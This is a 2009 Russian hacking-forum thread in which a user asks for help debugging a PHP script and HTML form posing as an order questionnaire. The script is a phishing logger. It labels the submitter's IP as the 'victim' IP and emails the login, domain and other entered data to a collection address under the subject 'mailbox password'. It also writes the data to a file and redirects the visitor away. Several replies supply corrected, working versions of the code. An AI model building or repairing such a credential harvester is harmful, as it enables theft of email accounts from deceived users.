Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
прошу помочь разобраться с кодом |

22.03.2009, 07:45
|
|
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме: 2485155
Репутация:
719
|
|
прошу помочь разобраться с кодом
Прошу помочь с кодом опросника. Вроде все правильно, но какая то ошибка проскочила. вот сам код лога php
Код:
<?PHP
$Login = $_POST['login']; //Логин
$radio = $_POST['radio']; // частота пользования
$e_zakaz = $_POST['e_zakaz']; // Заказ
$3_pole = $_POST['3_pole']; // данные клиента
$otkuda = $_POST['otkuda']; // откуда узнали о сайте
$Other = $_POST['Other]; // другая информация
$ip = $_SERVER["REMOTE_ADDR"]; // IP Жертвы
$Data = date("d-m-y H:i:s", time()); // Дата и время
$text = "[$Data] IP:$ip Мыло:$Login@Domain частота пользования:$radio; заказ$e_zakaz; данные клиента$3_pole; откуда узнали о сайте:$otkuda; другая информация:$Other;
$to = "mail@mail.ru"; // кому присылаем данные ( E-mail адресс )
$sub = " Пароль от ящика: $Login@Domain"; // тема письма
mail($to,$sub,$text); // Отсылаем сообщение на E-mail
$filelog = fopen("file.php","a+"); //открываем файл базы
fwrite($filelog,"\n $text \n"); //записываем всё
fclose($filelog); //закрываем
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru'></head></html>"; //
?>
а тут код формы опросника.
Код:
<form name="Zakaz_form" method="post" action="log.php"> <input type="text" name="e_zakaz" id="e_zakaz"> @
<select name="Domain" size="1" id="Serv" tabindex="1">
<option>mail.ru</option>
<option>inbox.ru</option>
<option>list.ru</option>
<option>bk.ru</option>
<option>yandex.ru</option>
<option>rambler.ru</option>
</select>
</p>
<p> Частота пользования:</p>
<p class="стиль6">
<label>
<input type="radio" name="radio" id="evryday" value="evryday">
<span class="стиль7">Ежедневно</span></label>
<label>
<input type="radio" name="radio" id="2-3 times" value="2-3 times">
<span class="стиль7">2-3 раза в неделю</span></label>
<label>
<input type="radio" name="radio" id="redko" value="redko">
<span class="стиль7">менее 1 раза в неделю</span></label>
</p>
<img src="http://bin-cgi.ru/img/s.gif" border="0">
Ваши контактные данные (e-mail или ICQ)
:
<input name="3_pole" type="text" id="3_pole" size="50">
<p>Выбирите способ оплаты:</p>
<p> <select name="oplata" id="oplata" tabindex="1">
<option>WebMoney WMZ</option>
<option>WebMoney WMR</option>
</select>
</p>
<p>Откуда вы узнали о нашем сайте? </p><p> <input type="text" name="otkuda" id="otkuda">
</p>
<p> Дополнительные сведенья: </p>
<textarea name="Other" id="Other" cols="45" rows="5"></textarea>
<div align="center">
<input name="Zakazat" type="submit" id="Zakazat" onClick="log.php" onDblClick="log.php" onKeyPress="log.php" onKeyDown="log.php" onKeyUp="log.php" value="Заказать">
</div> </form>
Прошу помочь исправить код, если вас это не затруднит.
С уважением
Последний раз редактировалось satana-fu; 22.03.2009 в 07:51..
|
|
|

22.03.2009, 13:48
|
|
Постоянный
Регистрация: 04.11.2007
Сообщений: 331
Провел на форуме: 1724067
Репутация:
806
|
|
Напиши какая ошибка происходит. Что показывает.
|
|
|

22.03.2009, 14:09
|
|
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме: 2485155
Репутация:
719
|
|
выдает следующую ошибку при исполнении файла log.php
Код:
Parse error: syntax error, unexpected T_LNUMBER, expecting T_VARIABLE or '$' in /home/site/domains/site.ru/public_html/log.php on line 5
|
|
|

22.03.2009, 14:18
|
|
Участник форума
Регистрация: 12.11.2006
Сообщений: 213
Провел на форуме: 347573
Репутация:
185
|
|
PHP код:
$3_pole = $_POST['3_pole']; // данные клиента
Имя переменной НЕ может начинаться с ЦИФРЫ!!!
Читай учебники
|
|
|

22.03.2009, 14:19
|
|
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме: 2075230
Репутация:
462
|
|
$3_pole = $_POST['3_pole']; // данные клиента
помоему переменную нельзя начинать с цыфры.
|
|
|

22.03.2009, 14:20
|
|
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме: 4832771
Репутация:
1916
|
|
PHP код:
$3_pole = $_POST['3_pole']; // данные клиента
Имя переменной не может начинаться с цифры. Обзови её например $pole_3.
P.S. вот вы быстрые 
|
|
|

22.03.2009, 14:43
|
|
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме: 5111568
Репутация:
2399
|
|
PHP код:
<?PHP
$Login = $_POST['login']; //Логин
$radio = $_POST['radio']; // частота пользования
$e_zakaz = $_POST['e_zakaz']; // Заказ
$three_pole = $_POST['three_pole']; // данные клиента
$otkuda = $_POST['otkuda']; // откуда узнали о сайте
$Other = $_POST['Other']; //!!!!!!!!!!!/// другая информация
$ip = $_SERVER["REMOTE_ADDR"]; // IP Жертвы
$Data = date("d-m-y H:i:s", time()); // Дата и время
$text = '['.$Data'] IP:'.$ip.' Мыло:'.$Login.'@Domain частота пользования:'.$radio.'; заказ'.$e_zakaz.'; данные клиента'.$three_pole.'; откуда узнали о сайте:'.$otkuda.'; другая информация:'.$Other;
$to = "mail@mail.ru"; // кому присылаем данные ( E-mail адресс )
$sub = " Пароль от ящика: $Login@Domain"; // тема письма
mail($to,$sub,$text); // Отсылаем сообщение на E-mail
$filelog = fopen("file.php","a+"); //открываем файл базы
fwrite($filelog,"\n $text \n"); //записываем всё
fclose($filelog); //закрываем
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru'></head></html>"; //
?>
|
|
|

22.03.2009, 15:40
|
|
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме: 2485155
Репутация:
719
|
|
ух ты, какие вы быстрые)))))))) впервые за два года на античате попросил помощь, и сразу же получил))))))))), Спасибо большое, расцеловать бы вас, да не дотянусь... Честно, спасибо большое, щас попробую исправить
|
|
|

22.03.2009, 15:51
|
|
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме: 2485155
Репутация:
719
|
|
eLWAux использовал твою модерницазию с three_pole, и теперь выдал следующую ошибку
Код:
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /home/site/domains/site.ru/public_html/log.php on line 11
|
|
|

22.03.2009, 15:55
|
|
Постоянный
Регистрация: 24.12.2007
Сообщений: 574
Провел на форуме: 3186852
Репутация:
316
|
|
PHP код:
$text = '['.$Data.'] IP:'.$ip.' Мыло:'.$Login.'@Domain частота пользования:'.$radio.'; заказ'.$e_zakaz.'; данные клиента'.$three_pole.'; откуда узнали о сайте:'.$otkuda.'; другая информация:'.$Other;
точку пропустил
|
|
|
|
 |
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Прошу помочь в кодинге
|
Flenov |
С/С++, C#, Delphi, .NET, Asm |
2 |
19.03.2009 10:24 |
|
прошу помочь со сплойтом под Webspell
|
Aerot1smo |
PHP, PERL, MySQL, JavaScript |
12 |
14.12.2006 23:26 |
|
Прошу помочь мне с сайтом
|
Mertvii-Listopad |
PHP, PERL, MySQL, JavaScript |
38 |
15.04.2006 01:40 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|